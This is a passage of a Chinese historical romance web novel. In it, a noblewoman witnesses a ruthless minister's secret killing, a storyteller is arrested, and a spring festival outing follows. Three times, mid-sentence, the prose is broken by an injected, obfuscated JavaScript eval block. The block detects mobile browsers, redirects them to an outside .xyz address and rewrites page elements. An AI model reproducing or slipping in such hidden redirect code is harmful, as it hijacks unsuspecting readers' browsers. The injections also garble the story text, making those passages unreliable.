随后再无人说话,动手之人沉默寡言,行动却迅速,先是“砰砰”两声,似是拳头捶在了什么硬物上,而后麻绳互相摩擦,重物在碎石子路上拖拽,随着声音渐行渐远,一切最终归于平静。 颜箫身体僵直,脊背发麻,一动不敢动,耳中只余自己咚咚的心跳声,似乎要冲破胸膛。 无需深思,这紫袍男子是什么人不言而喻。 是方才殿内座上那个沉静品茗的萧肃郎君,亦是眼下谈笑之间手起刀落的狠辣权臣。 他竟敢在太后宫中擅自处置内侍,还是已经籍没入宫的许家奴仆!他已将许氏一族送往平城为奴了,定要如此赶尽杀绝吗?连个内侍都不放过。 若要让檀止看到这一幕,还会认定他是那个爱惜部下的仁义主将吗?恐怕弑君谋逆的乱臣贼子才是真正的他吧。 天色将暗不暗,穹顶短暂地呈现出浓郁的靛蓝色,远处水榭中女郎们笑语声在山石之间碰撞消磨,入耳的只有无尽的沉寂。 颜箫这才想起自己仍在永寿殿后的花园中,她要回到人声鼎沸的宴席间。 此时不跑,更待何时? 颜箫无声地转动着脚踝,因惊惧而僵直的四肢渐渐复苏,她小步挪动着,回退到来时的路上。待确定周围听不见一丁点人声后,提起厚重的裙摆,转身撒腿沿着湖边向水榭跑去,活像撞见鬼了一样。 她一路不敢回头,自然也不曾发觉,待她跑上湖心水榭时,假山后面缓缓走出个人影。那人半张脸浸在阴影里,双手负在身后,无意识地转动着拇指上那只金镶绿松石指环,绛紫色官袍被压住动弹不得,贴在他劲瘦的腰身上。 天色彻底暗了下来,园中各处点起了灯,有侍女提着宫灯路过,见到他,无声地停下行礼。 碎石子路上覆了层薄薄的积雪,虽被人刻意踩乱了,看不清脚印,但仍看得出延伸的方向。 能容纳一人的湖石凹处,还残留着淡淡的馨香。 冬日里怎会有如此浅淡的栀子香气,想必是那女郎衣袖间留下的。 她将自己掩藏的很好,但是惊慌之下那无法控制的急促呼吸却无处遁形。 池中漾着烛光的倒影,透过明灭灯火,能看到水榭中女郎们倩影交织,像冬日里绽放的姹紫嫣红。 会是哪一朵呢? * 一顿宫宴食不知味,还要装作无事发生与左右交谈。所幸顾修昀并没出现在宴席上,不知是有事离宫还是去了太极殿男席上。 他不出现是好事,不然颜箫还真不知道自己能否做到面不改色,不被他看出端倪。 也不怪她胆小,颜氏女自小养在深闺,卧高床,乘香车,即便是那年京城兵乱,边军都杀到眼皮子底下了,毕竟没让她亲眼所见。 檀氏见她神思疲倦,悄声问了两句,却不想连太后也注意到这边,颜箫三缄其口,只说自己有些不胜酒力。 其实顾司徒岁初便颁了禁酒以节粮的新令,席间奉上的是并不醉人的果酿,但太后仍着人特将颜箫面前酒樽换了清茶来,一贯的和善温厚。 颜箫不禁望向太后,她可知道就在半个时辰前,她素来爱重的顾司徒就在她这殿后花园中悄无声息的处理了一个内侍? 宫宴在亥时结束,颜箫回到自家马车上,终于卸下笑容,靠在车壁上阖目养神。 累人得很,要在家休息一个月才能缓过来。 马车辘辘,无声驶向竹枝巷。 右御街上人车拥挤,前面不知被什么人拦了一下,马车在朱雀桥下猛然停住。 颜箫被这一个趔趄惊醒时,已然迷迷糊糊睡了一觉。她掀开车帘向外望去,“到哪里了?” 右御街上商铺连绵,此时已临近宵禁时分,街市上却仍热闹,人声喧哗,一派市井繁荣。 这一看才发觉,街西面有间面阔三间的奶酪铺子,门上挂着的风灯还崭新着,却紧闭门户,已是人走灯灭的景象。 这间铺子颜箫印象深刻,因她颇爱食北人这酪浆,只可惜这东西价贵,北地尚且稀少,南方更是难得一见,颜箫还是幼时回青州琅琊祖宅时有幸尝过,一口下去惊为天人。 这间奶酪铺子去岁十月才开业待客,有次颜炳还着人买了送至府上宴请陆丰,结果陆丰食过了量,彻夜委顿,事后还与颜炳玩笑道:“我虽吴人,几为伧鬼。” 南渡而来的北人犹爱食酪,常觉淳酪养性,使人无嫉心,侨姓士族好以此物款待南人,因此这家店铺生意很是火红,只不知为何这才不过几个月便关店了。 颜箫放下帘子,坐回车内,颇有些遗憾。 “难得有间卖酪浆的铺子,就此关了也是可惜。” * 秦淮河两侧,至晚愈发热闹,丝竹声不绝于耳,河中画舫灯影流连。 两个年轻郎君自醉春居走出来,脚步虚浮,跌跌撞撞,两人手上还捧着酒樽,兀自对着虚空碰杯。 “顾兄,今日可……可还过瘾?”其中一个朱衣郎君大着舌头问道。 “不、不过瘾,喝酒哪有过瘾的!”那顾四郎也没多清醒。 “不过瘾那就、那就去我家店里吃酪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286339|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浆!” 两人勾肩搭背往右御街而去,来到一间窗门紧闭的奶酪铺子前,朱衣男子以为自己眼花了,揉了揉眼,嚷开道:“谁把门锁上了?大晚上的,不做生意啦!给老子开门!”说着把酒樽一扔,上前去砸门。 再有一刻钟便要宵禁,右御街上人烟渐稀,周围铺子都各自上了门板,准备闭户休憩,左邻右舍听见有醉汉砸门,纷纷探头出来察看,待看清了两人面容,却又都躲回了自家屋舍内。 两人敲了半晌没听见动静,三分醉意上头,顾四郎一扭头,瞅见街上一位布衣女郎,正低着头匆匆赶路,歹念上涌,便抓过来胡搅蛮缠的问话。 “小娘子,你可见着这间铺子的东家了?” 那女郎被大力抓得抖了一抖,男子张口间酒气熏人,她捂着鼻子摇了摇头,这举动却叫顾四郎顿生不满,恶狠狠凶道。 “你是个哑巴不成?怎的不和爷说话!”他说着便要动手。 不承想那女郎亦是个烈性的,见顾四意图不轨,抬手就扇了一巴掌在他脸上,“啪”的一声,把顾四打得一愣。 从没有人敢这样对他,愣了一瞬后,反倒没有那点子绮念了,他怒火中烧,上前就要扼住女郎的脖颈。 眼见着顾四就要挨上女郎了,忽地从旁侧甩过来一根马鞭,“咻”地一声落在顾四的手臂上。 “啊!”顾四吃痛,大叫一声,“何人胆敢如此放肆!” 他抬头看去,只见宽街上两匹高头骏马并肩而立,马上分别坐着一男一女,那小郎君着玄色劲装,隐在夜色中,一手还拎着个点心匣子。女郎则是一身银红月袍,墨发高束,方才那一鞭子正是出自她之手。 正是檀玄与檀止兄妹二人。 檀止捂着手臂,只觉火辣辣的疼,仰头看向两人,酒醒了大半。 他陪笑道:“是檀娘子啊,我们有话好说嘛。” 檀止收起鞭子,蹙着眉怒道:“我同你这登徒子没什么好说的。” 顾四虽识得檀家兄妹,却从未如此近距离的交谈过,如今借着酒意打量檀止,见她唇红齿白,蹙眉的样子竟也分外可亲,便嬉笑着凑上来。 “檀娘子莫生气,不如我请娘子吃杯酒,就当赔罪了……” 顾四话音未落,只听“啪”一声,又一根鞭子飞来,这次是落在了顾四的嘴上,一瞬间,顾四的嘴唇便红肿了起来。 檀玄坐在马上,冷冷地俯视着顾四,“酒醒了么?” 这回顾四是真清醒了,他摔在地上,冷汗连连。 “檀大郎君饶命……” 檀玄用帕子擦拭着自己的马鞭,而后将帕子直接扔在地上,看都不看他一眼,“不是我要饶你。” 顾四知这两人自己惹不起,若不是醉意上头,他是断然不敢如此轻薄檀止的,此刻便连滚带爬地跑到檀止马下,不住求饶。 “檀娘子饶命!” 檀止皱眉,理都不理他,只看向那被顾四捏住的布衣女郎,问道:“这是怎么回事?” 那女郎摔在一旁瑟瑟发抖,“我好端端的走在路上,这位郎君却来推搡,幸而有两位出手相救……” “你这小蹄子,哪有的事……”顾四还想为自己辩白,忙解释道:“檀郎君檀娘子莫听她胡说,我只不过想问问话,是她先动手的。”说着还将自己的半张脸凑上去,示意自己也被扇了一巴掌。 他今夜没吃上肉还反被打了,实在恨得牙痒痒,可当着檀家兄妹的面,顾四不敢动手,只得咽下这口恶气。 忽然,他余光见到檀玄看向他身后,眉目一舒,遥遥抱拳行了一礼,顾四没来由得后背发凉。 果然,不待他回头看去,便听见了来自地狱修罗的呼唤。 “顾承启!” 7. 羡桃花 吴郡顾氏盘踞浙东,比之其他吴地士族,人丁不算兴旺。顾修昀这一支远离本家多年,关系渐疏,却也尽了帮扶族人的道义。从兄顾修平靠着吴郡顾氏和顾修昀的名头,在光禄勋下任御府令。 顾修平只得顾承启一子,平素多有溺爱,将他养成了建邺城中数一数二的纨绔。可他天不怕地不怕,偏偏只怕这位七叔。 他本还想寻那朱衣郎君做挡箭牌,好让顾修昀在外人面前给他留点脸面,结果一转头,哪里还能看到对方的身影,空旷的街面上只有檀家兄妹和那布衣女郎。 顾修昀代他向檀家兄妹道了歉,随后将他和那布衣女郎全部带了回去。 他那顶宽敞的马车让给了那位女郎,自己则是翻身上马,将顾承启栓在马后,还着人从秦淮河里舀了瓢水,兜头浇了顾承启一身。 更深露重,这天寒地冻的,顾承启头发上的水珠顺着脖颈流进领口,冻得他直打哆嗦。 他冻得迈不开步,顾修昀却径自打马向前,一拉一扯,他险些跌个跟头,只得不情不愿的跟了上去。 明明可以乘车回府中给他熬一碗醒酒茶,却偏要使出这招,还要叫他一路被拴着走回去。 狼狈不堪,奇耻大辱! 顾修昀将他带到司徒府的书房中,不允许他坐,水也不给喝,见他清醒些了,才慢条斯理地问道。 “说说吧,这次又是什么事。” “七叔,这真不怪我。”顾承启不怎么有底气的顶嘴,“是孙小郎要带我去他家铺子吃酪浆,谁承想铺子关业了,他才去砸门的。” 他小声嘟囔,“孙小郎也是不靠谱,他自家的店铺,是开是关自己都不清楚,平白在我面前失了面子,他倒先跑了……” “孙小郎是谁?”顾修昀不比他认识那么多纨绔。 顾承启惊讶地睁大眼,“七叔你连孙小郎都不认识?他在秦淮河上可是出了名的,他……” 顾修昀屈指敲了敲桌案,没工夫听他啰嗦。 顾承启只好解释道:“便是五兵尚书家的独子,他阿父人到中年才有了他,宠得很。” 顾修昀冷笑一声,“难为你认识这么多人,真该让你去做吏部尚书。” 顾承启当真思索了一下,“也不必吧,我怕冬日起不来上早朝。” 岳陆在旁边听得无语,仰天长叹,怎么郎主会有这样愚蠢的侄儿。 书房里一时陷入沉默,顾承启衣裳还未干透,水珠滴落到地上,啪嗒作响。 顾修昀沉默着,不知在思索什么,手指有一搭没一搭敲击着桌案。 过了好半晌,他吩咐岳陆,“找身衣裳,带他到厢房安顿。” 顾承启以为是要让岳陆送他回家,一听说今晚要宿在顾修昀府中,吓得一时愣在原地。 顾修昀正要起身离开,见他这副模样,忍不住讥诮道:“宵禁了,只好劳烦你在我府上将就一晚,明日再去千娇阁罢。” 顾承启干笑两声,“不敢,不敢。” * 书房被顾承启熏得满屋酒气脂粉气,顾修昀一刻都待不住,推门走了出去,负手立在廊下,面无表情地看着顾承启殷勤地和不苟言笑的岳陆攀谈,直至两人的身影消失在回廊尽头。 这般没眼色,真不知他是怎么在纨绔子弟之间混得风生水起的。 月色如水,席卷庭院,平娘子踏着月色自厢房而来。 平娘子是自小便跟在顾修昀之母钟氏身边的心腹,顾修昀父母俱亡后,她便跟在顾修昀身边,替他料理府中事务。 顾修昀一早入宫,至晚方归,连官袍都没来得及换下,回来还带了这么两个累赘,平娘子看着心疼不已,也着实替他疲累。 “郎主,那女郎我已审过了,她只说是进京投奔亲眷却被扫地出门,路遇小郎君险被折辱,旁的便没什么了。” 顾修昀“嗯”了一声,“留她在府中过一晚,明日一早便放出去吧。” 平娘子有些迟疑,“她说她在世上再无亲人,问我能不能留她在府中做事。”平娘子替顾修昀料理庶务,采买侍女这等小事原是无需顾修昀过问的,可这小娘子才被顾承启轻薄了,竟还愿意留在顾府,平娘子觉得此事自己做不了主了,于是特来禀报顾修昀。 顾修昀听了,眸光微沉,沉吟片刻后,竟颔首应允。 平娘子领命下去,却忽然起了疑心。 那小娘子生得有几分清秀,莫不是郎主看中了她? 不怪她这么想,郎主如今这年纪,身边就一个岳陆,连个侍女都没有,岳陆也是个不近女色的,若不是深知两人的交情,平娘子都要怀疑他…… 还对女郎感兴趣,那便是好事! 不近女色的岳郎君将顾承启安顿好,便折回书房和顾修昀回话。 “小郎君在后院歇下了,已安排了人明日送他回顾家。” “嗯。” “前些日子郎主让我遣人跟着许钧的前夫人,这几日有了眉目……”岳陆语调低了下去。 顾修昀神色未变,负在身后的手微微转动着拇指上那只金镶绿松石指环。 半晌,他吩咐道:“你去安排,莫要打草惊蛇,明日午后我要在廷尉狱看到人。” 岳陆领了命,正欲离开,又被叫住。 “厢房里那个女郎,你去查查她的身份。” 岳陆一愣,“郎主是说方才和小郎君一起捉回来的那个?” * 颜箫自认那日并没被吓到。 不过就是血罢了,人身上流出来的朱漆而已,堂堂颜氏嫡女,自当是泰山崩于前而色不改,他区区一个舞权弄势的佞臣,有何可惧? 她真不知道为何这几日常被梦魇住。 她顶着眼下一片乌青到东院,檀氏实在看不下去,用过午食便早早打发她回房休憩。 屋里燃着安神香,颜箫卧在窗下软塌上,帕子覆着面,两手交叠放在小腹,可就是怎么也睡不着。 窗外早燕衔春,惊啼惹人,颜箫腾地翻身坐起。 “备车,我要出门!” 这几日来天气渐暖,春意愈浓,出行不必乘保暖的马车,犊车才是备受士族追捧的出行工具。 二门外,老牛步履蹒跚,然而越慢才越能体现名士风度,不徐不疾,不骄不躁。 还未出竹枝巷,巷尾那座宅院的门口便有顶软轿挡了去路。 一位丰神俊朗的小郎君翻身下马,立在软轿下,侍女掀起帘子,轿厢内露出一张柔和秀美的面容。 她在侍女的搀扶下下了软轿,微微向后退了几步,与那小郎君保持着不远不近的距离,福身行了一礼。 小郎君虚扶一把,不知说了什么,眉眼含笑,惹得女郎愈发低下了头,离得老远都能看见她耳后的红晕。 那小郎君走后,女郎站在门前树下的阴影中,借口风暖气清,又在门口立了好半晌,实则眼神时不时地往巷口瞟去。 “人家早走远了,阿竽还在看什么?”身后有人笑吟吟的打趣。 女郎回眸一看,原是叔父家的堂姐十一娘。 “阿箫何时来的,怎么躲在后面吓人?”她抚了抚心口。 “我若不静悄悄的,怎好瞧见这一幕?”颜箫伏在车槛上,一双杏眸亮晶晶的,笑得促狭。 “我若没看错的话,那位是豫章侯家的宁三郎?” 颜竽面上飞红,来到颜箫跟前,低声央求,“好阿姐,你可不许告诉旁人……” 颜箫歪头示意她上车,“那你陪我上街,我好好问问到底是怎么回事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286340|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 颜竽是颜焕长女,只比颜箫小几个月,在族中排十二,随了她阿娘陆氏的性子,是个极和善好相与的小娘子。 她也不问颜箫要去哪儿,便乖乖上了车,犊车缓行,驶出竹枝巷后,才与颜箫娓娓道来。 原来她今日上街闲逛,行到闹市中时,不知从哪冲出来个贼人将她的佩袋抢了去,幸而宁家三郎打马路过,飞身上前替她夺了回来,完璧归赵。经此一事,颜竽也没了逛街的闲心,宁三郎便顺路护送她回竹枝巷颜府。 “宁三郎年方弱冠,又尚未娶亲,你若是有意,不妨同叔母提一提。”颜箫认真提议。 她有些艳羡,怎么旁人的姻缘都是宁三郎这般人品端方的君子,而她的…… 忆起那日檀氏有意无意的暗示,她便觉得头痛。 两人说话间,犊车已停在南市一家茶肆门口。 颜竽抬眼看了看门上匾额,好奇道:“六郎不是不准你来茗香居听书的吗?”脚下却听话,亦步亦趋地跟在颜箫身边。 颜箫领着她熟门熟路地进了二楼一间上好的包房,待下人送上茶果又退下后,才道:“近日在家实在无聊,且先不管阿兄怎么说了。” 她素来喜爱听这些街边茶肆里说书人口中的趣闻逸事,但却总有小小的担忧,总担心一个抬头就遇见颜笙,然后被颜笙赶回家去。 颜笙对她一向宠溺,却唯独有一点,那便是不许她常去茗香居听书,偶有几次被颜笙发现,他总是微微蹙眉,好似是在压着怒气,淡声让她回家去。 颜箫想不明白为何一向豁达温和的阿兄一遇上这事便会生好大的气。 此时楼下的说书人正讲到六年前改天换地的那一段公案。 “却说那叛军压境,幸而当时的许钧许太守忠心耿耿,他将城门紧闭,放了顾家父子进城,又在城下生擒一军主帅,可谓是英勇无双……” “不对啊,许钧若是忠心耿耿,年前又为何犯那谋逆之罪?”前排有人打断他。 说书匠但笑不语,一拍竹板,继续道。 “凉州刺史站在城楼上,怒骂主帅父子通敌叛国,竟被那人一支长箭射下,直坠入城楼下,据说是死无全尸,可怜这一片忠肝义胆,却成了大漠之上的一缕冤魂……而这戕害忠良的罪魁祸首,搅乱天下的元凶,三年之后摇身一变,竟坐在了一人之下万人之上的位置!” 台下一片惊呼。 这段故事讲了一遍又一遍,每每讲到此处都会引来一片哗然。 “可他毕竟只是个武官,若非先帝授意,他敢闯入台城弑君?” 有年长的看客知晓当年旧事,道:“先帝是个温厚之人,怎会下这样的命令?我看若非顾家父子要挟,先帝恐怕一辈子都会安分守己地待在凉州,再也不回来了!” 他太过义愤填膺,周围的人也怕引祸上身,忙出言劝阻,劝他谨言慎行。 颜箫听了一笑,“他们竟敢讨论顾司徒那不甚光彩的旧事,这样猖狂,也不怕顾司徒将这茶楼封了。” 话音未落,只听楼下传来一片惊叫,颜箫探头望去,只见两队身披盔甲的卫兵急匆匆闯入,直奔那说书匠,将他反剪着双手押在地上。 “你们是什么人,凭什么抓我,我只是个良民!” 为首的人拿了副画像,他走到不停扭动的说书匠身前,蹲下身,抓着他的发髻迫使他抬起头来,认了认相貌。 “抓的就是你,带走!” 一伙人押着人又匆匆离去,只余满座的看客,不及反应,个个面面相觑。 颜竽惊讶极了,“这是怎么回事,是谁在此拿人?” 颜箫已然看明白了,她收回视线,冷哼一声,“天子脚下,如此大动干戈的捉拿一个说书人,还能是何人所为?” 8. 上巳日 三月初三这日是个好天气,春水碧天,朗风清日,河堤上的柳树抽了芽,远望仿佛笼着层绿色薄纱。远山耸翠,近水生光,早春暖阳攀上树梢,撒下一江碎金。 建邺东南,淮水之滨,彩幄翠帐,人流如潮,犊车肩舆将岸边堵得水泄不通,男子或临水宴饮,或呼卢射雉,女子则风雅得多,行文斗诗,折花交谈,热闹非凡。 东篱门外尽是连绵起伏的山丘,草色青翠,绿意压眼,半山腰一处竹林间,有座竹亭,亭中围坐了十几个年轻女郎,正在一起做曲水流觞之雅集。 颜箫今日穿了身梨黄色直裾深衣,如瀑的黑发只在身后腰背间挽了个堕马髻,比起其他女郎来,装扮得格外简约,却衬得她明艳端庄,像山中一朵开得正盛的娇花。她跽坐在亭中,安静听其他人交谈。 酒觞在弯曲的水渠中跌跌撞撞,竟停在了她跟前,陆鸣澜坐在她身侧,笑说:“轮到阿颜了。” 今日雅集的规矩是做出一句写春的诗,却不能有春字,颜箫抬眼望向水边垂柳,执笔在纸上落下一行字。 身后有侍女代她念出,“颜十一娘作,‘枝上凝烟绿,吹面不寒风’一句。” 亭中夸赞声四起,颜箫淡笑,举起酒觞一饮而尽,又续满置回流水中。 无论她写得怎样,都会是最好的那一个,颜箫并不意外,却有些兴味盎然,扭头一看,坐在下游的檀止更是无聊得和自己的侍女划起了拳,不由得一笑。 正当她想寻个由头拉着檀止离开时,忽听见身后林中有隐秘的窸窣声,听着不像是风声,却似是有人在林中走动。 声音并不大,除了她似乎没人察觉,她不动声色的侧身一看,只见几块山石之后,草木隐蔽处,似有个灰扑扑的人影,他只露了张侧脸,像是在躲避什么人,似乎是想在借着亭中小娘子们的交谈声掩盖自己的行迹,却并没注意到已经有人发现了他。 那人衣着褴褛,蓬头垢面,颜箫却一眼认了出来。 正是那日茗香居中被押走的说书匠! 这下她顾不上檀止了,匆匆撂下句话,便起身走远,轻手轻脚地绕到了那匿人山石的另一侧。 这片竹林更密实,一踏进其中便觉阴风四起,好在此处离山间大道并不远,下面便是女郎所在的凉亭,周围人语声不断,她并不害怕。 她亦隐在一从荆棘之后,只露个头出来,想看看到底是何人在追捕他。 其实不看也知道,那日抓他是顾司徒授意,那今日追捕的人想必也是顾司徒派出的。颜箫嗤之以鼻,区区一个说书匠,不过是说了些他的旧事,何至于穷追不舍?他若怕人议论,当初何必犯此谋逆罪行?敢做不敢当,真小人也! 那人仍一动不动,想必是察觉到周遭有人,正警觉地四处张望。 不多时,周围山间风声鹤唳,草木窸窣,仿佛落入了一个铺开的包围圈,别说躲藏的人,就连颜箫都有所感应。 追捕的人似乎也怕打草惊蛇,周遭无人出声,颜箫紧紧盯着那说书匠,他不知看到了什么,忽地向前一扑,滚落在一片低矮的杂草中,与此同时颜箫左后方传来激烈的脚步声。 岳陆隐在高处,他早就看清了犯人藏身的方向,正要行动时,许是谁的盔甲一晃,竟叫那人发现了他,身形一闪,滚到矮草中,意图隐蔽行迹。 可岳陆站得高,自然望得远,此时他也不再遮掩,腾地站起身,左手一挥,打了个手势,竹林间密密麻麻钻出百十来号人。 他紧盯着那人消失的方向,依稀还能看到草动的痕迹,他疾步向下奔去,马上就要追上了,山林间却忽地出现一个身量纤细的梨黄色身影。 岳陆被吓了一跳,脚下险些没站稳,好容易刹住了车,定睛一看,原来是个年轻女郎,她倒立得四平八稳,此时正歪头看着他,似乎有些惊讶。 此处乃东山南坡,不少士族在山上建有别院,瞧这女郎的穿着和通身的气度,大概是哪位名门闺秀误入此地,可得罪不得,于是他好声好气道:“多有惊扰,烦请女郎移步,我们有要事在身,莫误伤女郎。” 没想到那女郎是个胆大的,望了一眼他身后跟随的官兵,并不让步。 “你们是什么人?今日上巳胜日,为何出现在此?”她声音清冽,虽略带稚嫩,却已有些气势。 这必是士族女郎了,岳陆耐着性子,也不好和她多做解释,“我姓岳,此番上山是为捉拿贼人,还请女郎暂避。” “贼人?哪来的贼人?”她神情困惑,似乎真没看见什么贼人,“山下正做雅集,郎君们不宜再向前了。” 岳陆眼看着那人的踪迹渐渐远去,心下焦急,但几步之外确有一间竹亭,亭中衣裙交织,有女郎聚集于此,若贸然上前,打草惊蛇,只怕惹出更大的乱子,他恐无法和郎主交代。 ……难道就让人这么跑了? * 今日皇上与太后亦在东山赏春。 顾修昀正随侍在侧,忽见岳陆匆匆赶来,他走到一旁,低声问,“怎么了?” “郎主,前几日抓住的那线人,趁乱逃走了。” 顾修昀神色微冷。 岳陆有苦说不出,“原本是布下了天罗地网,绝不会叫他逃脱的。但因刚好闯入了女郎们的雅集,被人搅扰,就……” 毕竟是在他手上将人追丢了,岳陆垂着头,不敢看顾修昀。 顾修昀隐在树荫里,淡声问:“是谁?” 查明女郎的身份不是难事,可这位女郎身份尊贵,岳陆只得硬着头皮道:“是……颜氏的女郎。” 颜氏?顾修昀眸光微沉,难道颜氏也…… “颜太傅还是颜仆射?” “是颜太傅。”颜太傅家现如今只一位女郎在京中,这几乎等于指名道姓了。 颜太傅家的女郎?也就是那日在永寿殿中直言说他不自量力,咒他等不到门阀没落的那位颜十一娘? 忆起那双与他对视时略带挑衅的杏眸,顾修昀反而眉心一舒,疑心尽消。 若是这位女郎,那便不意外了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286341|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岳陆见他脸色忽明忽暗,想起另一事,欲言又止了半晌,不知如何开口。 顾修昀盯住他,“还有何事?” “郎主,方才已查明了那人逃脱的方向,派人去追了,在城南平乐镇。” 他说得轻描淡写,但顾修昀却知道他在避重就轻,微微皱眉,“一次说完。” “……另一批跟着孙家小郎君的人恰也来回话,孙小郎今日出门前也曾打发人去过平乐镇……” 顾修昀听了,神色平静,竟是一点不觉惊讶。他唤了个内侍代他向陛下告罪,而后便转身下山。 “郎主这是要?”岳陆不解。 “我亲自去。” * 一时宴散,颜箫与檀止相携下山,在淮水边的堤岸上徐行。 “你方才上哪去了,我听见你刚做了诗,一回头,却找不见人影。”酒觞不曾光临,檀止耐不住性子,席上只顾和侍女划拳,并没留意周围的动静。 颜箫将那日在茗香居撞见说书人被捕方才却又在林间遇到他逃命的事和檀止一五一十说了,“为着此事茗香居都闭门半月了,不过是背后议论他几句,何至于此?” 两人走在熙熙攘攘的人流中,行至一座桥下时,颜箫忽觉有道目光落在她身上。 她不经意间回眸望去,只见街边一汀烟柳下,玉色箭袖长袍的郎君骑在骏马上,一双勾魂夺魄的丹凤眼正向她望过来,唇角一勾,露出个笑来。 正是她那阴魂不散的表兄,萧予琰。 颜箫似没看见一般唰地将头扭了回去,挽着檀止上桥去了对岸。檀止奇怪她怎么突然改道,这一回头,恰好也看到了予琰。 予琰的目光还黏在颜箫身上,再结合颜箫的反应,这下连檀止都看出来了。 “世子这是瞧上你了?”但颜箫没瞧上他? 颜箫头也不回的往前走,直至走下拱桥,才说起了肃王妃与她阿娘的暗示。 檀止还是头一次见她被人逼迫至此,颇有几分幸灾乐祸的意思,乐不可支,笑完还是替她出主意。 “你不愿嫁,拒了就是。” 颜箫面有忧愁,“实则我阿娘已和肃王妃回绝了,王妃倒是个和善的性子,只是世子这样……”显然是还没放弃她。 其实颜箫若铁了心不想嫁,也没有谁能强迫她,只是被人缠着惦记着终归是恼人。 檀止又扭头望了一眼,恰见一枝鲜花落入予琰怀中,他抬头望去,街边楼上窗内几个少女正望着他,用帕子掩着唇轻笑。而予琰将鲜花拿在手上,放在鼻端轻轻嗅,随意地揣在怀中,打马向前。 只这一会儿功夫,他身边便围了不少花枝招展的殷勤女郎。 檀止啧啧生叹,“世子确实生得好皮囊。”也确实风流了些。 她这话引得颜箫也生了好奇,然她晚了一步,回头望去,予琰的身影却已消失在人群中。 两人这一走神不要紧,街边一间当铺中却忽然冲出个侍女,正向着颜箫和檀止而来。 9. 初相识 颜箫眼前闪过一道素色身影,不等她停下脚步,檀止已眼疾手快地将那人拉住。 “娘子当心!”染春和润秋一左一右扶着她。 “不妨事。”颜箫摆摆手,定睛一看,原是一个素衣侍女,神色慌张,正左顾右盼。 “娘子可是在寻什么人?”她微微弯下身,关切问。 那侍女见檀止和颜箫两人衣着不俗,就连身后跟着的人也都穿着体面,似是高门大户的女郎。女郎生得貌美,柳叶眉下是一双温润杏眸,像画里走出的仙子,却并没有怪罪她,而是柔声细语地问话,她一时看得发呆,直至仙子身后的人又问了一遍,才回过神来。 “仙子……娘子恕罪!我在寻我家娘子,那屋里人多杂乱,我才当了个镯子的功夫,我家娘子就不见了!”她与娘子好容易出趟远门,若是因此将人弄丢了,可怎生是好!想到此处她内心慌乱,呼吸愈发急促。 身后抓着她的女郎轻轻拍了拍她的背帮她顺气,眼前的仙子抿唇一笑,“莫慌张,一个小娘子想来跑不远,染春,润秋,你们都去帮忙找一找。” 两位女郎将她带到水边开阔处,并没嫌她麻烦,而是轻声安抚着,还说她们人多,定能帮她找到她家娘子。 高门望族中竟还有这般和善的女郎! 不多时,润秋领着个柳绿色袴褶的小娘子寻了过来。 “碧桃?” “娘子!呜呜,我还以为我将你弄丢了。”侍女飞扑过去。 小娘子面上微红,颇有些不好意思,“是我贪玩走远了……钱可拿到了?” 见碧桃点点头,她望向身后站着的檀止和颜箫两人,上前两步,矮身郑重行了一礼。 “多谢两位阿姐相助,碧桃找不见我,一时情急,若是叨扰两位阿姐,我代她道歉,还望原谅。” 她衣着朴素,却十分有礼,颜箫将她扶了起来,“不必,人找到了就好。” 小娘子抬起了头,颜箫这才看清了她的容貌。她面容清丽恬静,眼眸如水洗般澄澈,瞧着年纪不大,她上身柳绿色窄袖褶,下穿藕色缚袴,略显宽大的衣裳更衬得她四肢纤细瘦弱。 几人寻了间茶肆攀谈起来。 原来这小娘子并非京城人士,乃是京郊陈集镇上一户农家女,名唤陈婉宁。今日三月三是出门踏青的时节,素闻淮水畔风景尤甚,十分热闹,便也带着侍女出门游玩。 她是在一间当铺门口和侍女走散的,颜箫和檀止对视一眼,却没多问。 几人门第相差甚远,婉宁却不是个自苦身世的性子,反而十分豁达开朗。她讲的许多乡野趣事,颜箫和檀止都闻所未闻,竟聊得投契,笑语声不断。 * 淮水乃是长江支流,自西北穿建邺向东南流去,到了城外,地势开阔,水流徐缓,最宜游船。淮水之上大小画舫船只络绎不绝,人群的嘈杂声伴着船上歌舞声不绝于耳,正是花柳繁华地,温柔富贵乡。 一艘雕梁画栋的画舫之中,一个中年男子正倚在软塌上眯着眼听曲,身边几个侍婢一杯一杯地递了茶果过来,柔声细语,盖住了窗外杂乱的脚步声。 忽有侍从匆匆走了进来,弯身附耳对他说了句什么,他倏地睁大眼,将旁边婢女一推,“当真?” 侍从表情沉重地点了点头。 “派人悄悄追出去,追到了留活口,别走漏风声!” * 夕阳沉入淮水中,游人渐稀,水边青帐都撤去不少。 颜箫与婉宁和檀止在郊外话别,各自回家。 